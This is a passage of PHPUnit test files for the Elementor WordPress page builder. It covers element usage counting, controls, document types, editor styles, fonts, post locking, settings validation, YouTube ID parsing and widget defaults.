'elements' => [
[
'id' => 'd50d8c5',
'elType' => 'section',
'isInner' => false,
'settings' => [],
'elements' => [
[
'id' => 'a2e9b68',
'elType' => 'column',
'isInner' => false,
'settings' => [ '_column_size' => 100, ],
'elements' => [
[
'id' => '5a1e8e5',
'elType' => 'widget',
'isInner' => false,
'settings' => [ 'text' => 'I\'m not a default', ],
'elements' => [],
'widgetType' => 'button',
],
],
],
],
],
],
];
/**
* @var Module
*/
private $module;
/**
* @var bool
*/
private $isDynamicTags = false;
public function setUp() {
parent::setUp();
wp_set_current_user( $this->factory()->create_and_get_administrator_user()->ID );
$this->module = $module = Module::instance();
}
private function get_global_usage_by_document( $document ) {
$global_usage = get_option( Module::OPTION_NAME, [] );
$document_name = $document->get_name();
if ( ! empty( $global_usage[ $document_name] ) ) {
$global_usage = $global_usage[ $document_name ];
}
return $global_usage;
}
private function generate_document_with_duplicated_widget() {
$document = $this->factory()->documents->create_and_get();
$elementor_data = $document->get_json_meta( '_elementor_data' );
$section = &$elementor_data[ 0 ];
$column = &$section['elements'][ 0 ];
$widget = &$column['elements'][ 0 ];
// Duplicate widget.
$column['elements'][] = $widget;
// Find better way.
$document->save( [
'settings' => [
'post_status' => 'publish'
],
'elements' => $elementor_data,
] );
return $document;
}
private function ensure_dynamic_tags() {
if ( ! $this->isDynamicTags ) {
Plugin::$instance->dynamic_tags->register_tag( new Title() );
Plugin::$instance->dynamic_tags->register_tag( new Link() );
$this->isDynamicTags = true;
}
}
// Old name 'test_doc_type_count'.
public function test_get_doc_type_count() {
// Arrange.
$doc_type = self::factory()->documents->publish_and_get()->get_name();
$doc_class = Plugin::$instance->documents->get_document_type( $doc_type );
// Act.
$doc_count = $this->module->get_doc_type_count( $doc_class, $doc_type );
// Assert.
$this->assertEquals( 1, $doc_count );
}
// Old name 'test_formatted_usage'.
public function test_get_formatted_usage() {
// Arrange.
$document = self::factory()->documents->publish_and_get();
// Act.
$formatted_usage = $this->module->get_formatted_usage();
// Check if button exist and it value is `1`.
$this->assertEquals( 1, $formatted_usage[ $document->get_name() ]['elements']['Button'] );
}
// Old name 'test_recalc'.
public function test_recalc_usage() {
// Arrange.
$document = $this->factory()->documents->publish_and_get();
$this->factory()->documents->publish_and_get();
// Clear global usage.
update_option( Module::OPTION_NAME, [] );
// Act.
$this->module->recalc_usage();
// Assert.
$this->assertEquals( 2, $this->get_global_usage_by_document( $document )['button']['count'] );
}
// Old part of ' test_add_to_global'
public function test_add_to_global() {
// Act.
$document = $this->factory()->documents->publish_and_get();
// Assert.
$this->assertTrue( !! $this->get_global_usage_by_document( $document ) );
}
// Old part of 'test_add_to_global'.
public function test_add_to_global__ensure_elements() {
// Arrange.
$count = 2;
for ( $i = 0 ; $i != $count; $i++ ) {
// Act.
$document = $this->factory()->documents->publish_and_get();
// Assert.
$global_document_usage = $this->get_global_usage_by_document( $document );
$this->assertEquals( $i + 1, $global_document_usage['button']['count'] );
}
}
// Part of old 'test_elements'
public function test_add_to_global__ensure_elements__from_same_document() {
// Act.
$document = $this->generate_document_with_duplicated_widget();
// Assert.
$global_document_usage = $this->get_global_usage_by_document( $document );
$this->assertEquals( 2, $global_document_usage['button']['count'] );
}
// Old part of 'test_controls'.
public function test_add_to_global__ensure_controls() {
// Arrange.
$count = 2;
for ( $i = 0 ; $i != $count; $i++ ) {
// Act.
$document = $this->factory()->documents->publish_and_get();
// Assert.
$global_document_usage = $this->get_global_usage_by_document( $document );
$this->assertEquals( $i + 1, $global_document_usage['button']['controls']['content']['section_button']['text'] );
}
}
// Old name: 'test_remove_data_after_delete_post'.
public function test_remove_from_global() {
// Arrange.
$document = $this->factory()->documents->publish_and_get();
// Assert.
$this->assertTrue( !! $this->get_global_usage_by_document( $document ) );
// Act.
wp_delete_post( $document->get_id(), true );
// Assert.
$this->assertFalse( !! $this->get_global_usage_by_document( $document ) );
}
// New test.
public function test_remove_from_global__ensure_elements() {
// Arrange.
$count = 2;
$documents = [];
for ( $i = 0 ; $i < $count; $i++ ) {
$documents [] = $this->factory()->documents->publish_and_get();
}
$i = count( $documents );
foreach ( $documents as $document ) {
// Assert.
$global_document_usage = $this->get_global_usage_by_document( $document );
$this->assertEquals( $i, $global_document_usage['button']['count'] );
// Act.
wp_delete_post( $document->get_id(), true );
$i--;
}
}
// Part of old 'test_elements'
public function test_remove_from_global__ensure_elements_from_same_document() {
// Arrange.
$document = $this->generate_document_with_duplicated_widget();
$elementor_data = $document->get_json_meta( '_elementor_data' );
$section = &$elementor_data[ 0 ];
$column = &$section['elements'][ 0 ];
unset( $column['elements'][ 1 ] );
// Act.
$document->save( [
'settings' => [
'post_status' => 'publish'
],
'elements' => $elementor_data,
] );
// Assert.
$global_document_usage = $this->get_global_usage_by_document( $document );
$this->assertEquals( 1, $global_document_usage['button']['count'] );
}
// Old part of 'test_controls'.
public function test_remove_from_global__ensure_controls() {
// Arrange.
$count = 2;
$documents = [];
for ( $i = 0 ; $i < $count; $i++) {
$documents [] = $this->factory()->documents->publish_and_get();
}
foreach ( $documents as $document ) {
// Assert.
$global_document_usage = $this->get_global_usage_by_document( $document );
$this->assertEquals( $count, $global_document_usage['button']['controls']['content']['section_button']['text'] );
// Act.
wp_delete_post( $document->get_id(), true );
$count--;
}
}
// Old name 'test_dynamic_control'.
public function test_remove_from_global__ensure_dynamic_controls() {
// Arrange.
$this->ensure_dynamic_tags();
$count = 2;
$documents = [];
for ( $i = 0 ; $i < $count; $i++) {
$document = $this->factory()->documents->publish_and_get( [
'meta_input' => [
'_elementor_data' => Documents::DOCUMENT_DATA_MOCK_WITH_DYNAMIC_WIDGET,
]
] );
$documents [] = $document;
}
foreach ( $documents as $document ) {
$global_document_usage = $this->get_global_usage_by_document( $document );
$link_controls_count = $global_document_usage['heading']['controls']['content']['section_title']['link'];
$title_controls_count = $global_document_usage['heading']['controls']['content']['section_title']['link'];
// Assert.
$this->assertEquals( $count, $link_controls_count );
$this->assertEquals( $count, $title_controls_count );
$this->assertEquals( $link_controls_count + $title_controls_count,
$global_document_usage['heading']['controls']['general']['__dynamic__']['count']
);
// Act.
wp_delete_post( $document->get_id(), true );
$count--;
}
}
// Old name 'test_remove_from_global'.
public function test_remove_from_global__ensure_elements_removed_by_empty_document() {
// Arrange.
$document = $this->factory()->documents->publish_and_get();
// Act.
$document->save( Documents::DOCUMENT_DATA_MOCK_WITHOUT_ELEMENTS );
// Assert.
$this->assertFalse( !! $this->get_global_usage_by_document( $document ) );
}
// Old name: 'test_draft_and_republish'.
public function test_remove_from_global__ensure__draft_removed_and_can_be_republished() {
// Arrange.
$document = self::factory()->documents->publish_and_get();
// Act - Put to draft.
self::factory()->documents->update_object( $document->get_id(), [
'post_status' => 'draft'
] );
// Assert.
$this->assertFalse( !! $this->get_global_usage_by_document( $document ) );
// Act - Put to published.
self::factory()->documents->update_object( $document->get_id(), [
'post_status' => 'publish'
] );
// Assert.
$this->assertTrue( !! $this->get_global_usage_by_document( $document ) );
}
// Old name: 'test_draft_and_private'.
public function test_remove_from_global__ensure_draft_removed_and_private_can_be_republished() {
// Arrange.
$document = self::factory()->documents->publish_and_get();
// Act - Put to draft.
self::factory()->documents->update_object( $document->get_id(), [
'post_status' => 'draft'
] );
// Assert.
$this->assertFalse( !! $this->get_global_usage_by_document( $document ) );
// Act - Put to published.
self::factory()->documents->update_object( $document->get_id(), [
'post_status' => 'private'
] );
// Assert.
$this->assertTrue( !! $this->get_global_usage_by_document( $document ) );
}
/**
* Old name: 'test_autosave_and_publish'.
* Cover issue: 'Widgets count shows negative values in some cases'.
*/
public function test_remove_from_global__ensure_autosave_not_affecting() {
// Arrange - Create additional document in order that after remove from global the usage will not be empty.
$this->factory()->documents->publish_and_get(); // Adds one button.
$document = $this->factory()->documents->publish_and_get(); // Adds another one button
// Act - Create document using autosave.
$document->get_autosave( 0, true )->save( Documents::DEFAULT_DOCUMENT_DATA_MOCK );
// Assert - Still only two buttons.
$this->assertEquals( 2, $this->get_global_usage_by_document( $document )['button']['count'] );
}
public function test_save_document_usage() {
// Arrange.
$document = $this->factory()->documents->publish_and_get();
// Act.
$usage = $document->get_meta( Module::META_KEY );
// Assert.
$this->assertEquals( 1, $usage['button']['count'] );
}
}

View File

@@ -0,0 +1,204 @@
<?php
namespace Elementor\Testing;
use Elementor\Controls_Manager;
class Elementor_Test_Controls extends Elementor_Test_Base {
public function test_getInstance() {
$this->assertInstanceOf( '\Elementor\Controls_Manager', $this->elementor()->controls_manager );
}
public function test_getControls() {
$this->assertNotEmpty( $this->elementor()->controls_manager->get_controls() );
}
public function test_renderControls() {
ob_start();
$this->elementor()->controls_manager->render_controls();
$this->assertNotEmpty( ob_get_clean() );
}
public function test_enqueueControlScripts() {
ob_start();
$this->elementor()->controls_manager->enqueue_control_scripts();
$this->assertEmpty( ob_get_clean() );
}
public function test_getTypes() {
foreach ( $this->elementor()->controls_manager->get_controls() as $control ) {
$this->assertNotEmpty( $control->get_type() );
}
}
public function test_registerNUnregisterControl() {
$control_class = '\Elementor\Control_Text';
$control_id = 'text';
$control_instance = new $control_class();
$this->elementor()->controls_manager->register_control( $control_id, new $control_instance() );
$control = $this->elementor()->controls_manager->get_control( $control_id );
$this->assertInstanceOf( $control_class, $control );
$this->assertTrue( $this->elementor()->controls_manager->unregister_control( $control_id ) );
$this->assertFalse( $this->elementor()->controls_manager->unregister_control( $control_id ) );
// Return the control for next tests..
$this->elementor()->controls_manager->register_control( $control_id, $control_instance );
}
public function test_groupControlsGetTypes() {
foreach ( $this->elementor()->controls_manager->get_control_groups() as $control_group ) {
$this->assertNotEmpty( $control_group->get_type() );
}
}
public function test_replaceStyleValues() {
$post_css_file = new \Elementor\Core\Files\CSS\Post( 0 );
$controls_stack = [
'margin' => [
'name' => 'margin',
'type' => Controls_Manager::DIMENSIONS,
'selectors' => [
'{{WRAPPER}} .elementor-element' => 'margin: {{TOP}}px {{RIGHT}}px {{BOTTOM}}px {{LEFT}}px;',
],
],
'color' => [
'name' => 'color',
'type' => Controls_Manager::COLOR,
'selectors' => [
'{{WRAPPER}} .elementor-element' => 'color: {{VALUE}};',
],
],
];
$values = [
'color' => '#fff',
'margin' => [
'top' => '1',
'right' => '2',
'bottom' => '3',
'left' => '4',
],
];
$value_callback = function( $control ) use ( $values ) {
return $values[ $control['name'] ];
};
$placeholders = [ '{{WRAPPER}}' ];
$replacements = [ '.elementor-test-element' ];
$post_css_file->add_control_rules( $controls_stack['color'], $controls_stack, $value_callback, $placeholders, $replacements );
$this->assertEquals(
'#fff',
$post_css_file->get_stylesheet()->get_rules( 'all', '.elementor-test-element .elementor-element', 'color' )
);
$post_css_file->add_control_rules( $controls_stack['margin'], $controls_stack, $value_callback, $placeholders, $replacements );
$this->assertEquals(
'1px 2px 3px 4px',
$post_css_file->get_stylesheet()->get_rules( 'all', '.elementor-test-element .elementor-element', 'margin' )
);
}
public function test_checkCondition() {
$this->elementor()->widgets_manager->get_widget_types(); // Ensure the widgets initialized
$element_obj = $this->elementor()->elements_manager->create_element_instance(
[
'elType' => 'widget',
'widgetType' => 'text-editor',
'id' => 'test_id',
'settings' => [
'control_1' => 'value',
],
]
);
$this->assertTrue( $element_obj->is_control_visible( [] ) );
$control_option = [
'name' => 'control_2',
'condition' => [
'control_1' => 'value1',
],
];
$this->assertFalse( $element_obj->is_control_visible( $control_option ) );
$control_option = [
'name' => 'control_2',
'condition' => [
'control_1' => 'value',
],
];
$this->assertTrue( $element_obj->is_control_visible( $control_option ) );
$control_option = [
'name' => 'control_2',
'condition' => [
'control_1!' => 'value',
],
];
$this->assertFalse( $element_obj->is_control_visible( $control_option ) );
}
public function test_getDefaultValue() {
// Text Control
$text_control = $this->elementor()->controls_manager->get_control( Controls_Manager::TEXT );
$control_option = [
'name' => 'key',
'default' => 'value',
];
$this->assertEquals( 'value', $text_control->get_value( $control_option, [] ) );
// URL Control
$url_control = $this->elementor()->controls_manager->get_control( Controls_Manager::URL );
$control_option = [
'name' => 'key',
'default' => [
'url' => 'THE_LINK',
],
];
$this->assertEquals(
[
'url' => 'THE_LINK',
'is_external' => '',
'nofollow' => '',
'custom_attributes' => '',
], $url_control->get_value( $control_option, [ 'key' => [ 'is_external' => '' ] ] )
);
// Repeater Control
$repeater_control = $this->elementor()->controls_manager->get_control( Controls_Manager::REPEATER );
$control_option = [
'name' => 'key',
'default' => [ [] ],
'fields' => [
[
'name' => 'one',
'type' => Controls_Manager::TEXT,
'default' => 'value',
],
],
];
$expected = [
[
'one' => 'value',
],
];
$this->assertEquals( $expected, $repeater_control->get_value( $control_option, [ [] ] ) );
}
}

View File

@@ -0,0 +1,23 @@
<?php
namespace Elementor\Testing;
class Elementor_Test_Document_Types extends Elementor_Test_Base {
/**
* @todo section should have "custom_css_pro"
*/
public function test_getInstance() {
$document_types = $this->elementor()->documents->get_document_types();
$missing_custom_css = [];
foreach ( $document_types as $type => $class_name ) {
$document = $this->elementor()->documents->create( $type );
// TODO remove this ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ when section will have "custom_css_pro"
if ( ! isset( $document->get_controls()['custom_css_pro'] ) && $type !== 'not-supported' && $type !== 'section' ) {
array_push( $missing_custom_css, $type );
}
}
$missing_custom_css = implode( ' | ', $missing_custom_css );
$this->assertEmpty( $missing_custom_css, "in the documents [ $missing_custom_css ] custom_css_pro is missing" );
}
}

View File

@@ -0,0 +1,74 @@
<?php
namespace Elementor\Testing;
class Elementor_Test_Editor extends Elementor_Test_Base {
public function setUp() {
parent::setUp();
wp_set_current_user( $this->factory()->get_administrator_user()->ID );
$GLOBALS['post'] = $this->factory()->create_and_get_default_post()->IDs;
}
public function test_getInstance() {
$this->assertInstanceOf( '\Elementor\Core\Editor\Editor', $this->elementor()->editor );
}
/*
public function test_enqueueScripts() {
ini_set( 'memory_limit', '85M' );
ob_start();
Elementor\ $this->plugin()->editor->enqueue_scripts();
ob_end_clean();
$scripts = [
'wp-auth-check',
'jquery-ui-sortable',
'jquery-ui-resizable',
'backbone-marionette',
'backbone-radio',
'perfect-scrollbar',
'nprogress',
'tipsy',
'imagesloaded',
'heartbeat',
'jquery-select2',
'flatpickr',
'elementor-dialog',
'ace',
'ace-language-tools',
'elementor-editor',
];
foreach ( $scripts as $script ) {
$this->assertTrue( wp_script_is( $script ) );
}
}*/
public function test_enqueueStyles() {
$this->elementor()->editor->enqueue_styles();
$styles = [
'elementor-select2',
'elementor-icons',
'wp-auth-check',
'google-font-roboto',
'elementor-editor',
];
foreach ( $styles as $style ) {
$this->assertTrue( wp_style_is( $style ) );
}
}
/*public function test_renderFooter() {
ob_start();
Elementor\ $this->plugin()->editor->wp_footer();
$buffer = ob_get_clean();
$this->assertNotEmpty( $buffer );
}*/
}

View File

@@ -0,0 +1,107 @@
<?php
namespace Elementor\Testing;
class Elementor_Test_Elements extends Elementor_Test_Base {
public function test_getInstance() {
$this->assertInstanceOf( '\Elementor\Elements_Manager', $this->elementor()->elements_manager );
}
public function test_getElements() {
$this->assertNotEmpty( $this->elementor()->elements_manager->get_element_types() );
}
public function test_elementMethods() {
foreach ( $this->elementor()->elements_manager->get_element_types() as $element ) {
$this->assertNotEmpty( $element->get_title() );
$this->assertNotEmpty( $element->get_type() );
$this->assertNotEmpty( $element->get_name() );
}
}
public function test_registerNUnregisterElement() {
$element_class = '\Elementor\Element_Column';
$element_id = 'column';
$this->assertTrue( $this->elementor()->elements_manager->register_element_type( new $element_class( [ 'id' => $element_id ] ) ) );
$element = $this->elementor()->elements_manager->get_element_types( $element_id );
$this->assertInstanceOf( $element_class, $element );
$this->assertTrue( $this->elementor()->elements_manager->unregister_element_type( $element_id ) );
$this->assertFalse( $this->elementor()->elements_manager->unregister_element_type( $element_id ) );
$this->assertNull( $this->elementor()->elements_manager->get_element_types( $element_id ) );
$this->assertTrue( $this->elementor()->elements_manager->register_element_type( new $element_class( [ 'id' => $element_id ] ) ) );
}
public function test_redeclareControl() {
$this->expectDoingItWrong('Elementor\Controls_Manager::add_control_to_stack');
$element_obj = $this->elementor()->elements_manager->get_element_types( 'section' );
$control_id = 'test_redeclare_control';
$element_obj->add_control( $control_id, [ 'section' => 'section_layout' ] );
$element_obj->add_control( $control_id, [ 'section' => 'section_layout' ] );
$element_obj->remove_control( $control_id );
}
public function test_controlsSelectorsData() {
foreach ( $this->elementor()->elements_manager->get_element_types() as $element ) {
foreach ( $element->get_controls() as $control ) {
if ( empty( $control['selectors'] ) ) {
continue;
}
foreach ( $control['selectors'] as $selector => $css_property ) {
foreach ( explode( ',', $selector ) as $item ) {
preg_match( '/\{\{(WRAPPER)|(ID)\}\}/', $item, $matches );
$this->assertTrue( ! ! $matches );
}
}
}
}
}
public function test_controlsDefaultData() {
foreach ( $this->elementor()->elements_manager->get_element_types() as $element ) {
foreach ( $element->get_controls() as $control ) {
if ( \Elementor\Controls_Manager::SELECT !== $control['type'] ) {
continue;
}
$error_msg = sprintf( 'Element: %1$s, Control: %2$s', $element->get_name(), $control['name'] );
if ( empty( $control['default'] ) ) {
$this->assertTrue( isset( $control['options'][''] ), $error_msg );
} else {
$flat_options = [];
if ( isset( $control['groups'] ) ) {
foreach ( $control['groups'] as $index_or_key => $args_or_label ) {
if ( is_numeric( $index_or_key ) ) {
$args = $args_or_label;
$this->assertTrue( is_array( $args['options'] ), $error_msg );
foreach ( $args['options'] as $key => $label ) {
$flat_options[ $key ] = $label;
}
} else {
$key = $index_or_key;
$label = $args_or_label;
$flat_options[ $key ] = $label;
}
}
} else {
$flat_options = $control['options'];
}
$this->assertArrayHasKey( $control['default'], $flat_options, $error_msg );
}
}
}
}
}

View File

@@ -0,0 +1,19 @@
<?php
namespace Elementor\Testing;
class Elementor_Test_Fonts extends Elementor_Test_Base {
public function test_getAllFonts() {
$this->assertNotEmpty( \Elementor\Fonts::get_fonts() );
}
public function test_getFontType() {
$this->assertEquals( 'system', \Elementor\Fonts::get_font_type( 'Arial' ) );
$this->assertFalse( \Elementor\Fonts::get_font_type( 'NotFoundThisFont' ) );
}
public function test_getFontByGroups() {
$this->assertArrayHasKey( 'Arial', \Elementor\Fonts::get_fonts_by_groups( [ 'system' ] ) );
$this->assertArrayNotHasKey( 'Arial', \Elementor\Fonts::get_fonts_by_groups( [ 'googlefonts' ] ) );
}
}

View File

@@ -0,0 +1,43 @@
<?php
namespace Elementor\Testing;
class Elementor_Test_Heartbeat extends Elementor_Test_Base {
protected $user_own_post;
protected $user_editor;
public function setUp() {
parent::setUp();
// Create new instance again
new \Elementor\Heartbeat();
}
public function test_postLock() {
$this->user_own_post = $this->factory()->create_and_get_administrator_user()->ID;
$this->user_editor = $this->factory()->create_and_get_administrator_user()->ID;
wp_set_current_user( $this->user_own_post );
$post = $this->factory()->create_and_get_default_post();
$data = [
'elementor_post_lock' => [
'post_ID' => $post->ID,
],
];
/** This filter is documented in wp-admin/includes/ajax-actions.php */
$response = apply_filters( 'heartbeat_received', [], $data, '' );
// Switch to other user
wp_set_current_user( $this->user_editor );
$this->assertEquals( $this->user_own_post, wp_check_post_lock( $post->ID ) );
/** This filter is documented in wp-admin/includes/ajax-actions.php */
$response = apply_filters( 'heartbeat_received', [], $data, '' );
$this->assertArrayHasKey( 'locked_user', $response );
}
}

View File

@@ -0,0 +1,10 @@
<?php
namespace Elementor\Testing;
class Elementor_Test_Settings extends Elementor_Test_Base {
public function test_validationsCheckboxList() {
$this->assertEquals( [], \Elementor\Settings_Validations::checkbox_list( null ) );
$this->assertEquals( [ 'a', 'b' ], \Elementor\Settings_Validations::checkbox_list( [ 'a', 'b' ] ) );
}
}

View File

@@ -0,0 +1,22 @@
<?php
namespace Elementor\Testing;
class Elementor_Test_Utils extends Elementor_Test_Base {
public function test_getYoutubeId() {
$youtube_id = '9uOETcuFjbE';
$youtube_urls = [
'https://www.youtube.com/watch?v=' . $youtube_id,
'https://www.youtube.com/watch?v=' . $youtube_id . '&feature=player_embedded',
'https://youtu.be/' . $youtube_id,
];
foreach ( $youtube_urls as $youtube_url ) {
$video_properties = \Elementor\Embed::get_video_properties( $youtube_url );
$this->assertEquals( $youtube_id, $video_properties['video_id'] );
}
$this->assertNull( \Elementor\Embed::get_video_properties( 'https://www.youtube.com/' ) );
}
}

View File

@@ -0,0 +1,107 @@
<?php
namespace Elementor\Testing;
use Elementor\Utils;
class Elementor_Test_Widgets extends Elementor_Test_Base {
public function test_getInstance() {
$this->assertInstanceOf( '\Elementor\Widgets_Manager', $this->elementor()->widgets_manager );
}
public function test_getWidgets() {
$this->assertNotEmpty( $this->elementor()->widgets_manager->get_widget_types() );
}
public function test_elementMethods() {
foreach ( $this->elementor()->widgets_manager->get_widget_types() as $widget_type ) {
$name = $widget_type->get_name();
if ( 'common' === $name ) {
continue;
}
$this->assertNotEmpty( $widget_type->get_title() );
$this->assertNotEmpty( $widget_type->get_type() );
$this->assertNotEmpty( $name );
}
}
public function test_registerNUnregisterWidget() {
$widget_class = '\Elementor\Widget_Text_editor';
$widget_id = 'text-editor';
$this->assertTrue( $this->elementor()->widgets_manager->register_widget_type( new $widget_class() ) );
$widget = $this->elementor()->widgets_manager->get_widget_types( $widget_id );
$this->assertInstanceOf( $widget_class, $widget );
$this->assertTrue( $this->elementor()->widgets_manager->unregister_widget_type( $widget_id ) );
$this->assertFalse( $this->elementor()->widgets_manager->unregister_widget_type( $widget_id ) );
$this->assertNull( $this->elementor()->widgets_manager->get_widget_types( $widget_id ) );
}
public function test_controlsSelectorsData() {
foreach ( $this->elementor()->widgets_manager->get_widget_types() as $widget ) {
foreach ( $widget->get_controls() as $control ) {
if ( empty( $control['selectors'] ) ) {
continue;
}
foreach ( $control['selectors'] as $selector => $css_property ) {
foreach ( explode( ',', $selector ) as $item ) {
preg_match( '/\{\{(WRAPPER)|(ID)\}\}/', $item, $matches );
$this->assertTrue( ! ! $matches );
}
}
}
}
}
public function test_controlsDefaultData() {
foreach ( $this->elementor()->widgets_manager->get_widget_types() as $widget ) {
foreach ( $widget->get_controls() as $control ) {
if ( \Elementor\Controls_Manager::SELECT !== $control['type'] ) {
continue;
}
$error_msg = sprintf( 'Widget: %1$s, Control: %2$s', $widget->get_name(), $control['name'] );
// is_empty makes an exception of the value '0' (string zero)
if ( Utils::is_empty( $control['default'] ) ) {
// Don't perform this check for mobile/tablet controls generated by add_responsive_control(),
// because their default value is always an empty string, even if there is no '' option.
if ( ! ( isset( $control['responsive']['max'] ) && ( 'tablet' === $control['responsive']['max'] || 'mobile' === $control['responsive']['max'] ) ) ) {
$this->assertTrue( isset( $control['options'][''] ), $error_msg );
}
} else {
$flat_options = [];
if ( isset( $control['groups'] ) ) {
foreach ( $control['groups'] as $index_or_key => $args_or_label ) {
if ( is_numeric( $index_or_key ) ) {
$args = $args_or_label;
$this->assertTrue( is_array( $args['options'] ), $error_msg );
foreach ( $args['options'] as $key => $label ) {
$flat_options[ $key ] = $label;
}
} else {
$key = $index_or_key;
$label = $args_or_label;
$flat_options[ $key ] = $label;
}
}
} else {
$flat_options = $control['options'];
}
$this->assertArrayHasKey( $control['default'], $flat_options, $error_msg );
}
}
}
}
}